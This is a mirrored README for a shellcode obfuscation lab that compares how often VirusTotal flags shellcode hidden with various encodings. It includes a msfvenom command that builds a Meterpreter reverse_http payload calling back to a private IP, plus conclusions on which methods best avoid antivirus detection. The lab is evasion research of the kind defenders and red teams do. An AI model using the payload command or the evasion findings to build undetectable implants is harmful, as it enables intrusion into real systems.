mirror of
https://github.com/dobin/ShellcodeObfuscationLab
synced 2026-06-08 13:53:31 +00:00
Dobin Rutishauser
58 lines
3.8 KiB
Markdown
58 lines
3.8 KiB
Markdown
# SOL ShellcodeObfuscationLab
|
|
|
|
Shellcode obfuscations laboratory based on RedSiege [Chromatophore](https://github.com/RedSiege/Chromatophore/).
|
|
|
|
|
|
## Results
|
|
|
|
Tests have been performed with einer "random" - a alphanumeric 20 byte string. And "Metasploit"
|
|
with output of `msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o beacon.bin`.
|
|
The "Metasploit" does not execute the shellcode, only decodes and prints it.
|
|
|
|
Conclusion:
|
|
* Encoding/Encryption doesnt matter
|
|
* More important is if a windows API is being used/imported (IAT in PE)
|
|
* Note that NO obfuscation metasploit outperforms AES encryption, base64 windows api, ip-, mac- and uuid-encoding.
|
|
|
|
|
|
| **What** | **Library** | **Includes** | **Function / IAT** | **Random** | **Metasploit** |
|
|
| ------------------ | --------------------- | ------------------------- | ---------------------------------- | ---------- | -------------- |
|
|
| aes | crypt32.lib, advapi32 | wincrypt.h | Crypt\* | 5 | 6 |
|
|
| base64 | \- | \- | \- | 3 | 3 |
|
|
| base64api | crypt32.lib | wincrypt.h | CryptStringToBinaryA | 5 | 6 |
|
|
| bin2ip | Ntdll.lib | ntstatus.h<br>Ip2string.h | RtlIpv4StringToAddressA | 8 | 10 |
|
|
| bin2mac | Ntdll.lib | ntstatus.h<br>Ip2string.h | RtlEthernetStringToAddressA | 8 | 18 |
|
|
| cesar | \- | \- | \- | 2 | 2 |
|
|
| jargon | \- | \- | \- | 3 | 2 |
|
|
| jigsaw | \- | \- | \- | 2 | 3 |
|
|
| offset | \- | \- | \- | 2 | 3 |
|
|
| rc4api | \- | \- | GetProcAddress (SystemFunction033) | 2 | 2 |
|
|
| reverse_byte_order | \- | \- | \- | 2 | 2 |
|
|
| reverse_hex_string | \- | \- | \- | 2 | 2 |
|
|
| twoarray | \- | \- | \- | 2 | 3 |
|
|
| uuidapi | rpcrt4.lib | rpc.h | UuidFromStringA | 8 | 11 |
|
|
| xor_multibyte | \- | \- | \- | 1 | 2 |
|
|
| xor_reverse | \- | \- | \- | 2 | 3 |
|
|
| xor_single | \- | \- | \- | 1 | 3 |
|
|
| NO OBFUSCATION | \- | \- | \- | 2 | 3 |
|
|
## Usage
|
|
|
|
Use the `x64 native tools command prompt` from Visual Studio
|
|
so you have access to `ml.exe` and `Windows.h`.
|
|
|
|
To compile all the source into `output/*.exe`:
|
|
```
|
|
> python.exe sol.py compile
|
|
```
|
|
|
|
To send it to VirusTotal
|
|
|
|
```
|
|
> set VT_API_KEY=123...
|
|
> python.exe sol.py
|
|
```
|
|
|
|
Output is in `output/*.exe.json` and `output/scan_results.txt`.
|
|
|
|
|